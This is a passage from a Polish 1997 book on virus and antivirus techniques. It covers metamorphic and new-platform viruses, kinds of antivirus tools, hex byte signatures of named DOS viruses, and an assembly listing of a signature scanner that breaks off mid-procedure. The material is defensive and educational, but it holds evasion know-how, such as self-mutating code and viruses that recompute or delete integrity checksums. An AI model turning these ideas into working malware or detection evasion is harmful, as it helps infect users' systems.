u był polimorfi-czny, znalezienie jego kodu wewnątrz ofiary byłoby 

podwójnie utrudnione. Mimo że już wielokrotnie podejmowano próby napisania takiego 
wirusa, nieliczne istniejące egzemplarze są jeszcze bardzo prymitywne. 
 
10.3. Wirusy zmienne genetycznie (

mutujące swój kod) 

W kilku artykułach dostępnych w sieci Internet ich autorzy rozważają możliwość 
stworzenia wirusa, który w kolejnych zarażanych ofiarach wyglądałby inaczej, jednak 
kolejne generacje nie byłyby tworzone przy użyciu polimorficznego generatora 
zmiennych procedur szyfrujących, a zasada tworzenia nowych mutacji własnego kodu 
polegałaby na manipulowaniu instrukcjami kodu maszynowego tak, aby zachowana 
została funkcjonalność kodu, lecz kod ten sukcesywnie by się zmieniał (podobnie jak 
kod odporny 

na heurystykę, jednak tutaj zabieg ten byłby wykonywany dla każdej 

instrukcji). Można by powiedzieć, iż wirus taki posiadałby swoistą tożsamość, 
objawiającą się tym, iż wiedziałby, co ma robić i na bazie jakiegoś generatora tworzyłby 
swą nową kopię, przemieszczając odpowiednie fragmenty ko 

background image

du, symulując jedną instrukcję za pomocą kilku itp. Na razie jednak zadanie to 
przekracza chyba umiejętności nawet najlepszych twórców wirusów, choć 
niewykluczone, iż dzieło takie wkrótce się pojawi. 
 
10.4. Wirusy infeku

jące nowe, nie infekowane dotychczas obiekty 

Jak udowodniły makrowirusy plików DOC czy XLS, ciągle można znaleźć jakąś nową 
platformę, dotąd nie zajętą przez wirusy. Ze względu na zmierzch systemu DOS znawcy 
wirusów przewidują, iż za kolejny cel twórcy wirusów obiorą sobie inne popularne 
systemy, zwłaszcza system Windows 95 oraz, w mniejszym stopniu, Unix (zwłaszcza 
Linux), OS/2 lub Windows NT. Już dziś można znaleźć okazy wirusów infekujących np. 
system Windows 95, Linux, OS/2 i, 
co ciekawe, są one napisane w... czystym asemblerze (nawet w przypadku Linuxa). 
Popularność środowiska Windows 95 powoduje, iż za możliwe obiekty ataku można 
uznać większość plików używanych przez ten system, które zawierają jakieś przydatne 
wirusom struktury danych lub też oferują jakiś możliwy do wykorzystania mechanizm. Są 
to głównie pliki z kodem np. DLL, VXD, MPD, PDR, DRV, 386 oraz pliki grup i skrótów: 
GRP i LNK, przy pomocy których można stworzyć kolejne warianty wirusów 
towarzyszących. Ze względu na strukturę plików przeznaczonych dla Windows 95 (pliki 
nowe EXE o nagłówku 
PE) możliwe jest także zastosowanie zmiennych procedur szyfrujących do lepszego 
ukrycia wirusa. 

 

ROZDZIAŁ 11 

 
11.1. Skanery (ang. scaners
) 
Najstarszym rodzajem programów antywirusowych są skanery. Ich działanie polega na 
wyszukiwaniu zadanej sekwencji bajtów w ciągu danych. 
W większości wirusów daje się znaleźć unikalną sekwencję bajtów (tzw. sygnaturę), 
dzięki której możliwe jest odnalezienie wirusa w pamięci lub w zarażonej ofierze. 
Skuteczność skanera zależy od tego, jak bardzo charakterystyczna jest dana 
sekwencja. Najlepiej, jeżeli wirus zawiera w sobie jakiś niekonwencjonalny napis lub 
specyficzny ciąg bajtów (np. jakąś procedurę demonstracyjną). 
Wraz z pojawieniem się wirusów polimorficznych znaczenie skanerów trochę zmalało, 
jednak nadal jest to najważniejsza metoda walki z wirusami. Nawet w przypadku 
wirusów polimorficznych używa się skanera, choć dopiero w późniejszej fazie 
wykrywania (np. po krokowym lub emulowanym przejściu początku programu), co 
świadczy o uniwersalności tej metody. 
 
11.2. Monitory (ang. behaviour blockers, interceptors, resident monitors

Monitor to program antywirusowy zainstalowany jako TSR lub sterownik SYS, który 
poprzez monitorowanie odpowiednich funkcji DOS i BIOS pozwala na wykrywanie 
wszystkich wykonywanych za pomocą tych funkcji odwołań do dysków. Większość tego 
typu programów posiada także mechanizmy pozwalające na sprawdzanie, czy 
wykonywany proces nie ingeruje w jakieś systemowe struktury danych, np. bloki MCB 
lub tabli

cę wektorów przerwań. To, czy monitor będzie działał prawidłowo, zależy często 

od momentu, w którym przejął on kontrolę nad systemem (przed czy po wirusie) oraz od 

background image

tego, jak głęboko wnika on w system operacyjny (kontrola funkcji wykorzystywanych 
przez wiru

sy jest przeprowadzana na początku łańcucha obsługi przerwań lub też na 

jego końcach). Jak widać, aby dotrzymać kroku twórcom wirusów, autorzy programów 
antywirusowych muszą korzystać z metod podobnych do tych, które stosują twórcy 
wirusów. 
Największą wadą monitorów jest to, iż powodują one częste fałszywe alarmy (ang. false 
positives), przez co użytkownik po kolejnym irytującym potwierdzeniu jakiejś zwykłej 
operacji dyskowej staje się mniej uważny, a czasami wręcz deinstaluje program 
antywirusowy z pamięci. 
 
11.3. Szczepionki (ang. disinfectors
Szczepionki są programami skierowanymi przeciwko konkretnym wirusom. Na 
podstawie posiadanego, złapanego egzemplarza wirusa można, po odpowiedniej 
analizie jego kodu, zdefiniować sygnatury, na podstawie których wykrywa się kopie 
wirusa w zainfekowanych obiektach. Dokładna analiza kodu wirusa najczęściej pozwala 
także odnaleźć w nim oryginalne wartości pewnych parametrów, które mogą posłużyć 
do wyleczenia sektorów lub plików (np. dla plików typu EXE jest to punkt wejścia do 
oryginalnego programu, dla plików COM - początkowe bajty programu). Większość z 
istniejących szczepionek to rozbudowane programy z interfejsem, które potrafią wykryć i 
usunąć kilka tysięcy wirusów. Tylko w przypadkach nowych wirusów niektóre osoby, 
zmuszone okolicznościami, same piszą szczepionkę skierowaną przeciwko 
konkretnemu wirusowi, czego efektem z reguły jest nie do końca przetestowany, ale 
działający program. 
 
11.4. Programy autoweryfikujące 
Programy tego typu umożliwiają dodanie do wskazanego pliku krótkiego programu, 
mającego na celu sprawdzenia przy każdym uruchomienie, czy dany program nie został 
w jakiś sposób zmieniony (co zwykle oznacza ingerencję wirusa). Dodawany kod 
dopisuje się do pliku wykorzystując te same mechanizmy co wirusy. 
Na

jczęściej programy tego rodzaju są nieodporne na technikę stealth i w systemie 

zainfekowanym przez wirusa używającego tej sztuczki nie wykażą żadnej zmiany w 
pliku, mimo że jest on zainfekowany. 
 
11.5. Programy zliczające sumy kontrolne (ang. integrity checkers
Działanie tego typu programów polega na obliczaniu odpowiednich sum kontrolnych dla 
zadanego pliku lub plików oraz ewentualnie sektorów. Zliczane sumy kontrolne są 
najczęściej przechowywane w osobnych plikach, tworzonych po pierwszym 
uruchomieniu pr

ogramu. Jeżeli pliki te istniały już wcześniej, program antywirusowy 

wykorzystuje dane w nich zawarte, aby porównać sumę obliczaną na bieżąco z 
poprzednio zachowaną. 
Suma kontrolna nie musi (a nawet nie powinna) być sumą arytmetyczną. Dzięki 
znajomości algorytmów stosowanych przez pewne programy antywirusowe niektóre 
wirusy potrafią zarazić plik i obliczyć dla niego nową sumę kontrolną, którą bez 
większych problemów można zastąpić pierwotną, przechowywaną w pliku. 
Piętą Achillesową programów zliczających sumy kontrolne jest to, iż pliki 
przechowywujące obliczone sumy nie są w żaden sposób chronione, dlatego wiele 
wirusów bezkarnie kasuje napotkane znane sobie pliki z sumami kontrolnymi. 

background image

 

ROZDZIAŁ 12 

 
12.1. Skaning 
Historycznie jest to najstarsza technika stosowana przez programy antywirusowe. 
Skaning polega na wyszukiwaniu w zainfekowanym obiekcie zadanej sekwencji bajtów 
(sygnatury wirusa). 
Poniżej przedstawiono kilka przykładowych sygnatur istniejących wirusów: 
B8 ED FE CD 21 A3 03 01 0E 8F 06 6F 01 BA   ; sygnatura wirusa Atomie 1.0  
BE 30 01 8B 16 17 01 B9 35 01 2E 31 14 83   ; sygnatura wirusa Human Greed  
8B FC 36 8B 2D 81 ED 03 01 44 44 1E 06 OE   ; sygnatura wirusa DOOM!  
5D 83 ED 03 E8 15 00 EB 27 90 E8 OF 00 B4   ; sygnatura wirusa Ethernity  
5D 81 ED 03 01 EB 1B 90 B8 24 35 CD 21      ; sygnatura wirusa OLG 
Jak widać, tradycyjna sygnatura jest to ciąg bajtów o nieustalonej z góry długości, 
zapisanych heksalnie, które program antywirusowy konwertuje na rozumianą przez 
siebie postać binarną (maszynową) i dopiero taki łańcuch poszukiwany jest w 
przeszukiwanym obiekcie. Z czasem pojęcie sygnatury rozszerzono. Dzisiejsze skanery 
potrafią interpretować różne symbole oraz znaki globalne (ang. wildcards) np. ? czy *. 
Poniżej podano przykłady kilku prostych, nieznacznie rozszerzonych sygnatur 
używających znaków globalnych: 
BB ?2 B9 10 01 81 37 ?2 81 77 02 ?2 83 C3 04 E2 F2 ; sygnatura wirusa FireFly  
B9 CC 01 BB ?2 2E 81 07 ?2 83 C3 02         ; sygnatura wirusa K-CMOS 
1E 06 OE OE 1F 07 2E FE 06 ?2 2E A1         ; sygnatura wirusa Geodesic Propagation 
33 CO 8E D8 BE ?2 FF 34 FF 74 02 C7 04      ; sygnatura wirusa 1984 
Poniżej zamieszczono listing programu, który umożliwia wyszukiwanie zadanego ciągu 
bajtów w podanym jako parametr pliku. Zadany ciąg bajtów może być podany Jako 
łańcuch w apostrofach lub jako zapisane heksalnie dane (możliwa jest także kombinacja 
podanych metod). 
 
;----------------------------------------------------------------------------; 
;                                                                            ; 
;       Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe"        ; 
;                                                                            ; 
;                       SKANER v1.0, Autor : Adam Blaszczyk 1997             ; 
;                                                                            ; 
;    Program sluzy do przeszukiwania plikow w celu znalezienia zadanego      ; 
;    lancucha bajtow (np. stalej sygnatury wirusa) podanego jako parametr    ; 
;    przy wywolaniu programu.                                                ; 
;                                                                            ; 
;----------------------------------------------------------------------------; 
;                            DANE TECHNICZNE                                 ; 
;----------------------------------------------------------------------------; 
;                                                                            ; 

background image

; _ Wywolanie: SKANER NazwaPliku CiagBajtow                                  ; 
; _ Ciag moze skladac sie z liczb zapisanych heksalnie lub zwyklego tekstu   ; 
;   np:                                                                      ; 
;       _ CD 21                - szuka wywolania przerwania 21h              ; 
;       _ 'wirus'              - szuka slowa "wirus"                         ; 
;       _ 'abc'80C5'def'EE  F6 - szuka lancucha "abcă+def_¸"                 ; 
; _ Maksymalna dlugosc wyszukiwanego ciagu           =   128 bajtow.         ; 
; _ Dlugosc jednorazowo odczytywanych danych z pliku = 65024 bajtow          ; 
;   65024=512*127=127 sektorow, 512 bajtowych                                ; 
; _ Maksymalna ilosc zliczanych wystapien ciagu      = 2^32  razy            ; 
; _ Pliki z atrybutami Hidden, System przed odczytem maja zmieniany atrybut  ; 
;   na Archive; po skonczeniu programu przywracany jest oryginalny atrybut   ; 
; _ Procedura obslugi INT 24h <dialog ARIF-Abort,Retry,Ignore,Fail>          ; 
;   zastapiona zostala sekwencja sygnalizujaca blad programowi               ; 
; _ Wyszukiwane sa wszystkie mozliwe wystapenia ciagu                        ; 
;   (takze zachodzace na siebie)                                             ; 
;                                                                            ; 
;----------------------------------------------------------------------------; 
 
;------------------------------------------------------------------- 
;                         Definicje Stalych 
;------------------------------------------------------------------- 
JUMPS 
;stale logiczne 
Falsz                equ 00h                        ; \ definicja dwoch stalych 
logicznych 
Prawda               equ Falsz+1                    ; / 0=Falsz i 1=Prawda 
; stale ogolne 
RozmiarStosu         equ 128                        ; rozmiar stosu w slowach 
dwubajtowych 
RozmiarCiagu        equ 128                         ; rozmiar bufora na 
wyszukiwany ciag 
RozmiarBuforaDanych  equ 127*512                    ; rozmiar bufora na dane = 
segment 64K-512 
DlugNazwyPliku       equ 128                        ; dlugosc pelnej nazwy pliku 
LiniaPolecen         equ 80h                        ; adres (w PSP) do parametrow 
; stale znakowe 
ZnakTabulacji        equ 09h                        ; \ 
ZnakSpacji           equ ' '                        ;  \ 
ZnakKoncaLinii       equ 0Dh                        ;   - stale znakowe 
CR                   equ 0Dh                        ;  / 

background image

LF                   equ 0Ah                        ; / 
; stale bledow 
; na ich podstawie nastepuje obliczenie ofsetu komunikatu o bledzie 
BlBezBledu           equ 00h                        ; nie ma bledu 
BlBrakParametrow     equ 01h                        ; blad : nie ma parametrow 
BlBrakNazwyPliku     equ 02h                        ; blad : brak nazwy pliku w 
parametrach 
BlBrakCiagu          equ 03h                        ; blad : brak ciagu do 
wyszukania 
BlZlyCiag            equ 04h                        ; blad : ciag zawiera bledy 
BlBrakPlikuNaDysku   equ 05h                        ; blad : brak pliku podanego 
jako parametr 
BlBlad_ARIF          equ 06h                        ; blad : brak dostepu do 
pliku (int 24h) 
BlZlyAtrybutPliku    equ 07h                        ; blad : nie plik tylko 
etykieta dysku lub katalog 
BlBrakDostepuDoPliku equ 08h                        ; blad : nie mozna zmienic 
atrybutow na archive 
BlNieMogeOtworzyc    equ 09h                        ; blad : nie moge otworzyc 
pliku 
BlNieMogeCzytac      equ 0Ah                        ; blad : nie moge czytac 
pliku 
BlNieMogeZamknac     equ 0Bh                        ; blad : nie moge zamknac 
pliku 
BlPlikZaKrotki       equ 0Ch                        ; blad : plik krotszy niz 
dlugosc ciagu 
; stale drukowania wrostkow 
;    7 bit=1 wywolaj procedure konwersji, ktorej adres w [si+1] 
;    7 bit=0 wyswietl tekst, ktorego adres jest pod [si+1] 
DrPlik               equ 01h                        ; stala dla wrostka 
NazwaPliku 
DrCiag               equ 02h                        ; stala dla wrostka Ciag 
DrUnIntDec           equ 83h                        ; stala dla wrostka - liczby 
bez znaku typu Int (dziesietne) 
DrUnIntHex           equ 84h                        ; stala dla wrostka - liczby 
bez znaku typu Int (szesnastkowo) 
IleWrostkow          equ 04h                        ; ile maksymalnie wrostkow 
; stale DOS-owe 
TrybOtwarciaPliku    equ 00000000b                  ; oznacza otwarcie pliku 
tylko do odczytu 
 

background image

AtReadOnly           equ 00000001b                  ;\ 
AtHidden             equ 00000010b                  ; \ 
AtSystem             equ 00000100b                  ;  \ 
AtVolumeID           equ 00001000b                  ;   - atrybuty pozycji 
katalogu 
AtDirectory          equ 00010000b                  ;   / 
AtArchive            equ 00100000b                  ;  / 
AtAll                equ 00111111b                  ; / 
; definicja bufora DTA (Disk Transfer Area) 
DTA_STRUC struc                                     ; struktura potrzebna dla 
funkcji 
          NieWazne     db 21 dup(?)                 ; 4E i 4F sluzacych do 
poszukiwania 
          Atrybut      db ?                         ; pierwszego (4E) i 
nastepnego (4F) 
          Czas         dw ?                         ; wystapienia w katalogu 
(pliku, katalogu,itp.) 
          Data         dw ?                         ; opisuje wszystkie 
parametry pliku 
          Dlugosc      dd ?                         ; zawarte w FAT z wyjatkiem 
pierwszego numeru JAP 
          Nazwa        db 13 dup(?) 
DTA_STRUC ends 
 
;------------------------------------------------------------------- 
;                         Segment Kodu 
;------------------------------------------------------------------- 
SKANER        SEGMENT 
 
                ASSUME CS:SKANER, ds:SKANER 
 
         Start:                                     ; poczatek programu 
                Call UstawParametrySystemu          ; ustaw DS+nowe (DTA i int 
24h) 
 
                mov si,Offset TeCopyRight           ; 
                Call DrukLn                         ; wyswietl komunikat o 
programie 
 
                Call CzytajParametry                ; Wez z PSP:80h parametry : 
Plik+Ciag 

background image

                jc Blad                             ; gdy CF=1, to blad 
 
                Call SprawdzPlik                    ; czy plik istnieje ? 
                jc blad 
 
                Call SzukajLancuch                  ; Szukaj lancucha w pliku 
                jc Blad 
 
                mov NumerBledu,BlBezBledu           ; wszystko OK ! 
 
Blad:                                               ; skacz tu, jesli jakis blad 
                Call PrzywrocParametrySystemu       ; stare DTA+INT 24h 
 
                Call OstatniKomunikat               ; zwraca 0=bez bledu lub 
FF=blad 
 
                mov ah, 4Ch                         ; funkcja powrotu do systemu 
DOS 
                int 21h                             ; wywolaj funkcje 
 
;------------------------------------------------------------------- 
OstatniKomunikat proc near                          ; wyswietla komunikat na 
koncu programu 
                pushf                               ; zachowaj znaczniki, 
potrzebne pozniej 
 
                mov ax,seg SKANER 
                mov ds,ax                           ; DS=segment danych 
 
                mov al, NumerBledu                  ; al=numer bledu 
                cbw                                 ; ax=numer bledu 
                shl ax,1                            ; ax=ax*2, bo kazdy ofset=2 
bajty 
                add ax,Offset OffsetyKomunikatow    ; ax=tablica z adresami 
komunikatow bledow 
                xchg ax,bx                          ; bx=tablica z adresami 
komunikatow bledow 
                                                    ; [bx]=tablica[blad] 
                mov si,[bx]                         ; dx=offset do komunikatu o 
bledzie (lub 'OK') 
                Call DrukLn                         ; wypisz komunikat 

background image

 
                popf                                ; przywroc znaczniki 
 
                mov al,0                            ; w al przekaz kod bledu, 
0=bez bledu 
                sbb al,0                            ; jezeli blad, to al=FF 
 
                ret 
OstatniKomunikat endp 
 
;------------------------------------------------------------------- 
SzukajLancuch   proc near                           ; otwiera plik i szuka zadany 
ciag 
                                                    ; w calym pliku 
                mov ax,seg ProgDTA                  ; ustaw ES na segment, do 
ktorego beda 
                mov es,ax                           ; wczytywane dane =127 
sektorow 
 
                mov ax,word ptr [BufDTA.Dlugosc]    ; -DX:AX = dlugosc pliku 
                mov dx,word ptr [BufDTA.Dlugosc+2]  ; / 
                or dx,dx                            ; czy b. znacz. czesc 
dlugosci =0 
                jnz DlugiPlik                       ; nie -> dlugosc<>0 
                cmp ax,DlugoscCiagu                 ; b. znacz. czesc=0, czy 
mniej znacz. czesc 
                jae DlugiPlik                       ; dlugosci > dlugosc ciagu 
                mov NumerBledu,BlPlikZaKrotki       ; Blad : plik krotszy od 
ciagu ! 
                jmp short NieMogeOtworzyc           ; wyswietl blad 
DlugiPlik: 
                mov si,offset TeSzukamCiagu         ; wyswietl informacje o 
szukaniu 
                Call DrukLn                         ; lancuchu w pliku 
 
                mov NumerBledu,BlNieMogeOtworzyc    ; ewentualny numer bledu 
                mov dx,Offset NazwaPliku            ; nazwa pliku w DS:DX, tryb 
dostepu w AL 
                mov ax,3D00h+TrybOtwarciaPliku      ; funkcja DOS - otworz plik 
                int 21h                             ; DOS : otworz plik 
                jc NieMogeOtworzyc                  ; CF=1 -> blad 

background image

 
                xchg ax,bx                          ; BX=uchwyt pliku 
 
                Call CzytajSzukaj                   ; szukaj lancucha w calym 
pliku 
                jc NieMogeOtworzyc 
 
                mov ah,3Eh                          ; zamknij plik 
                int 21h                             ; 
 
                mov ax,word ptr [IleZnalezionych]   ; wyswietl, ile razy ciag 
                mov dx,word ptr [IleZnalezionych+2] ; wystapil w pliku 
                mov si, offset TeZnalazlem 
                or dx,dx                            ; \  sprawdz, czy 
przynajmniej 
                jnz CosZnalazl                      ;  \ raz, jak ani razu to 
                or ax,ax                            ;  / inny komunikat 
                jnz CosZnalazl                      ; / 
                mov si, offset TeNieZnalazlem 
CosZnalazl: 
                Call DrukLn                         ; wyswietl komunikat spod 
DS:SI 
                clc                                 ; nie ma bledu 
 
NieMogeOtworzyc: 
                ret                                 ; powrot z procedury 
SzukajLancuch   endp 
 
;------------------------------------------------------------------- 
CzytajSzukaj    proc near                           ; czytaj w pliku i szukaj 
lancuch 
                                                    ; na wejsciu numer pliku w BX 
                xor ax,ax                           ; \ 
                mov word ptr [IleZnalezionych]  ,ax ;  \ 
                mov word ptr [IleZnalezionych+2],ax ;   - wyzeruj zmienne 
                mov word ptr [AdresCzytania],ax     ;  / 
                mov word ptr [AdresCzytania+2],ax   ; / 
                mov NumerBledu,BlNieMogeCzytac      ; ewent. blad 
                xor bp,bp                           ; BP oznacza odstep od 
poczatku bufora, 
                                                    ; pod ktory wczytujemy dane, 

background image

na poczatku=0 
                dec DlugoscCiagu                    ; zmniejsz o 1 dlugosc ciagu 
potrzebne 
                                                    ; w pozniejszej operacji 
porownania 
                cld                                 ; w oper. lancuchowych 
INC(SI,DI) 
 
CzytajDoBufora:                                     ; petla glowna 
                push ds                             ; zachowaj DS na stosie 
 
                mov ax,es 
                mov ds,ax                           ; DS=ES=segment na dane z 
pliku 
 
                mov cx,RozmiarBuforaDanych          ; ile czytac danych 
                mov dx,offset BuforDanych           ; DS:DX = tu wczytuj dane 
                add dx,bp                           ; dodaj dlug. danych, ktore 
zostaly z poprz. odczytu 
                mov ah,3Fh                          ; DOS : funkcja czytania 
                int 21h                             ; DOS : wykonaj funkcje 
 
                pop ds                              ; przywroc DS 
                jc NieMogeCzytac                    ; gdy CF=1, to blad 
 
                add word ptr [AdresCzytania],ax     ; \dodaj do pozycji odczytu 
ilosc 
                adc word ptr [AdresCzytania+2],0    ; /odczytanaych bajtow 
                mov [Przeczytane],ax 
 
                add ax,bp                           ; \do ilosci odczytanych 
bajtow dodaj dlugosc danych 
                                                    ; /pozostalych z 
poprzedniego odczytu 
 
                cmp ax,DlugoscCiagu                 ; \  ax=dlugosc danych do 
porownania 
                jb KoniecPliku                      ;  - jesli mniej niz ciag, to 
nie trzeba porownywac 
                                                    ; /  bo i tak ciag sie nie 
znajdzie 

background image

                xchg ax,cx                          ; cx=dlugosc danych do 
porownania 
                push cx                             ; zachowaj do pozniejszego 
porownania 
                mov di,offset BuforDanych           ; poczatek danych 
SzukajPierwszej: 
                mov si,Offset Ciag                  ; ofset do wyszukiwanego 
ciagu 
                lodsb                               ; al=pierwsza litera ciagu, 
INC(SI) 
                repnz scasb                         ; szukaj, az znajdzie w 
danych pierwsza litere 
                jnz NieMaPierwszej                  ; jesli nie znalazl, to 
czytaj dalej z pliku 
 
                cmp cx,DlugoscCiagu                 ; czy wystarczy danych w 
buforze do porownania ? 
                jae PorownajCaly                    ; jest co najmniej tyle lub 
wiecej to OK 
                inc cx                              ; - za malo danych 
                dec di                              ; - cofnij DI,CX na 
poprzednie wartosci 
                mov si,di                           ; - skopiuj koncowke bufora 
na poczatek 
                mov di,offset BuforDanych           ; - zachowaj w BP dlugosc tej 
koncowki 
                mov bp,cx                           ; - w nastepnym odczycie dane 
wczytane 
                rep movs byte ptr es:[di],es:[si]   ; - umieszczone beda za ta 
koncowka 
 
                jmp short NieMaPierwszej            ; - a porownywanie sie 
powtorzy, ale teraz beda dane 
PorownajCaly:                                       ; - do porownania, po skoku 
czytaj dalej dane 
                push cx                             ; 
                push di                             ; zachowaj aktualna pozycje 
w buforze i licznik 
                mov cx,DlugoscCiagu                 ; dokladniej : dlugosc 
ciagu-1 bo nie musimy porownywac 
                                                    ; pierwszej litery, ktora 

background image

juz byla sprawdzona 
                jcxz JednoLiterowy                  ; jesli CX=0, to ciag byl 
jednoliterowy 
                rep cmpsb                           ; porownaj cx bajtow 
                jne NieMaLancucha                   ; jesli ZF=0, nie znalazl 
ciagu 
JednoLiterowy: 
                mov ax,word ptr [AdresCzytania]     ; DX:AX=32 bitowa pozycja 
odczytu pliku 
                mov dx,word ptr [AdresCzytania+2] 
                sub ax,[Przeczytane] 
                sbb dx,0 
                sub ax,bp 
                sbb dx,0 
                pop di                              ; przywroc odleglosc od 
poczatku bufora 
                push di                             ; zachowaj di 
                dec di                              ; zmniejsz wskaznik, zeby 
wskazywal na pierwsza litere 
                add ax,di 
                adc dx,0                            ; dodawanie 32 bitowe 
                                                    ; DX:AX = adres fizyczny 
wzgledem pocz. pliku 
                mov word ptr [AdresZnalezienia],ax  ; -zapamietaj ten adres w 
zmiennej, bo procedura 
                mov word ptr [AdresZnalezienia+2],dx; /konwersji korzysta z 
ofsetu do zmiennej, zeby ja wyswietlic 
                mov si,offset TeZnalezionyNaPozycji ; -wyswietl tekst ze znalazl 
                Call DrukLn                         ; /adres : wyswietl 
szesnastkowo i dziesiatkowo 
                add word ptr [IleZnalezionych],1    ; -zwieksz 32 bitowy licznik 
wystapien 
                adc word ptr [IleZnalezionych+2],0  ; /dodaj ewentualne 
przeniesienie z 15 na 16 bit 
NieMaLancucha: 
                pop di                              ; 
                pop cx                              ; przywroc aktualna pozycje 
w buforze+licznik 
                jcxz NieMaPierwszej                 ; czy juz caly bufor pusty ? 
               ; xor bp,bp                          ; zeruj dlugosc koncowki 
                jmp short SzukajPierwszej           ; skocz i szukaj nastepnego 

background image

wystapienia 
NieMaPierwszej: 
                pop ax                              ; zdejmij ilosc odczytanych 
danych ze stosu 
                cmp ax,RozmiarBuforaDanych          ; i porownaj, czy tyle ile 
bylo wczytywanych 
                jb  KoniecPliku                     ; jesli nie tyle samo, to 
koniec pliku 
                                                    ; jesli tyle samo, to czytaj 
dalej 
                jmp CzytajDoBufora                  ; skocz i czytaj dalej dane 
 
KoniecPliku:                                        ; dane sie skonczyly 
                clc                                 ; nie ma bledu 
NieMogeCzytac: 
                ret                                 ; wroc z procedury 
CzytajSzukaj    endp 
 
;------------------------------------------------------------------- 
PrzywrocParametrySystemu proc near                  ; przywraca stare adresy 
DTA+Int 24h 
                                                    ; i ewentualnie atrybuty 
pliku 
                                                    ; (jezeli sytemowy, ukryty) 
                pushf                               ; zachowaj flagi z ew. 
bledem 
                cmp ZmienAtrPliku,Prawda            ; czy przywrocic atrybut ? 
                jne NiePrzywracajAtrybutu           ; skocz jesli nie 
                mov ax,4301h                        ; DOS: funkcja 43xxh 
wez(xx=0)/ustaw(xx=1) atr. pliku 
                xor ch,ch                           ; ch=0 
                mov cl,[BufDTA.Atrybut]             ; cx=stare atrybuty 
                mov dx,Offset NazwaPliku            ; DS:DX =nazwa pliku 
                int 21h                             ; DOS : zmien atrybuty 
 
NiePrzywracajAtrybutu: 
 
                push ds                             ; zachowaj segment danych 
                push ds                             ; 2 razy -> na pozniej 
 
                lds dx,dword ptr    [StareI24Ofs]   ; przywroc stara obsluge 

background image

bledow 
                mov ax,2524h                        ; ustaw Int 24h 
                int 21h                             ; funkcja 25h - ustaw wektor 
(numer w AL) 
                pop ds                              ; przywroc segment danych 
 
                lds dx,dword ptr    [StareDTAOfs]   ; przywroc stare DTA 
                mov ah,1Ah                          ; funkcja 1Ah - ustaw DTA 
                int 21h                             ; wywolaj funkcje 
                pop ds                              ; przywroc segment danych 
 
                popf                                ; przywroc znaczniki z ew. 
bledem 
                ret                                 ; powrot z procedury 
PrzywrocParametrySystemu endp 
 
;------------------------------------------------------------------- 
UstawParametrySystemu proc near                     ; ustaw obsluge przerwania 
24h 
                                                    ; nowy bufor DTA 
                mov ax,seg SKANER 
                mov ds,ax                           ; DS=segment danych 
                mov MojAdresPSP,es                  ; zachowaj PSP 
 
                mov ax,3524h                        ; funkcja wez adres 
przerwania (num. w AL) 
                int 21h                             ; wez stare INT 24h do 
rejestrow ES:BX 
                mov StareI24Ofs,bx                  ; - zachowaj stare 
przerwanie 
                mov StareI24Seg,es                  ; / ES=segment, BX=offset 
 
                mov ah,2Fh                          ; wez stare DTA do rejestrow 
ES:BX 
                int 21h 
                mov StareDTAOfs,bx 
                mov StareDTASeg,es                  ; ES=segment, BX=ofset 
 
                mov dx,Offset BufDTA 
                mov ah,1Ah                          ; ustaw nowe DTA na adres 
zawarty w DS:DX 

background image

                int 21h 
 
                push ds                             ; zachowaj DS 
                push cs                             ; -DS=CS 
                pop ds                              ; / 
                mov dx,offset NoweInt24             ; ustaw nowe przerwanie 24h 
                mov ax,2524h                        ; w DS:DX 
                int 21h 
                pop ds                              ; przywroc DS 
 
                ret                                 ; powrot z procedury 
UstawParametrySystemu endp 
 
;------------------------------------------------------------------- 
NoweInt24       proc near                           ; procedura obslugi 
przerwania programowego bledow 
                                                    ; krytycznych wywolywana 
przez DOS w razie bledu 
                push ds                             ; \ 
                push ax                             ; -zachowaj DS i AX 
                mov ax,seg SKANER 
                mov ds,ax                           ; ds=segment danych 
                mov NumerBledu,BlBlad_ARIF          ; zachowaj numer bledu 
                pop ax                              ;  \ 
                pop ds                              ;  -przywroc DS i AX 
 
                mov al,3                            ; pomin blad-program sam 
zadecyduje co dalej 
 
                iret                                ; nie wywoluj standardowego 
dialogu ARIF 
NoweInt24       endp                                ; powrot z procedury obslugi 
przerwania programowego 
 
;------------------------------------------------------------------- 
SprawdzPlik     proc near                           ; szukaj plik podany jako 
parametr 
 
                mov ZmienAtrPliku,Falsz             ; na razie nie znamy 
atrybutow, wiec nie trzeba 
                                                    ; przywracac oryginalnych 

background image

                mov NumerBledu,BlBrakPlikuNaDysku   ; ustaw ew. numer bledu 
 
                mov ah,4Eh                          ; funkcja szukaj pozycji 
katalogu 
                mov dx,offset NazwaPliku            ; DS:DX nazwa pliku 
                mov cx,AtAll                        ; w CX podaj atrybut szukanej 
pozycji 
                int 21h                             ; wywolaj funkcje 
                jc NieMaPliku                       ; gdy CF=1, to blad 
 
                mov si,offset BufDTA                ; nie ma bledu , info o pliku 
jest w buforze DTA 
                mov al,[BufDTA.Atrybut]             ; wez atrybut pliku 
                mov NumerBledu,BlZlyAtrybutPliku    ; ewent. blad 
                test al,AtVolumeID+AtDirectory      ; sprawdz, czy etykieta lub 
katalog (testuj bity) 
                stc                                 ; ustaw ewent. blad 
                jnz NieMaPliku                      ; skocz, bo etykieta lub dysk 
 
                test al,AtHidden+AtSystem           ; testuj bity : ukryty lub 
system 
                mov NumerBledu,BlBrakDostepuDoPliku ; ewent. blad 
                jz NieZmienAtr                      ; nie sa ustawione, to skocz 
dalej 
 
                mov ZmienAtrPliku,Prawda            ; trzeba zmienic atrybut, 
zeby mozna bylo odczytac 
                mov ax,4301h                        ; funkcja ustaw atrybut 
pliku 
                mov cx,AtArchive                    ; cx=atrybyt jaki ustawic 
                mov dx,Offset NazwaPliku            ; DS:DX nazwa pliku 
                int 21h                             ; wywolaj funkcje 
                jc NieMaPliku                       ; gdy CF=1, to blad 
NieZmienAtr: 
                clc                                 ; nie ma bledu, plik gotowy 
do odczytu 
NieMaPliku: 
                ret                                 ; wroc z procedury 
SprawdzPlik     endp 
 
;------------------------------------------------------------------- 

background image

CzytajParametry proc near                           ; wez parametry z PSP:80h 
                push ds                             ; zachowaj DS 
 
                mov ax,ds                           ; ES=DS=segment z danymi 
                mov es,ax 
 
                mov ds,MojAdresPSP                  ; DS=blok PSP 
 
                mov si,LiniaPolecen                 ; ofset w PSP do linii 
polecen 
                mov es:NumerBledu,BlBrakParametrow  ; ewentualny numer bledu 
 
                cmp byte ptr ds:[si],0              ; dlugosc linii polecen 
                je  BladParametrow                  ; jezeli pusta, to nie ma 
parametrow 
 
                inc si                              ; pomin licznik 
                inc si                              ; pomin spacje 
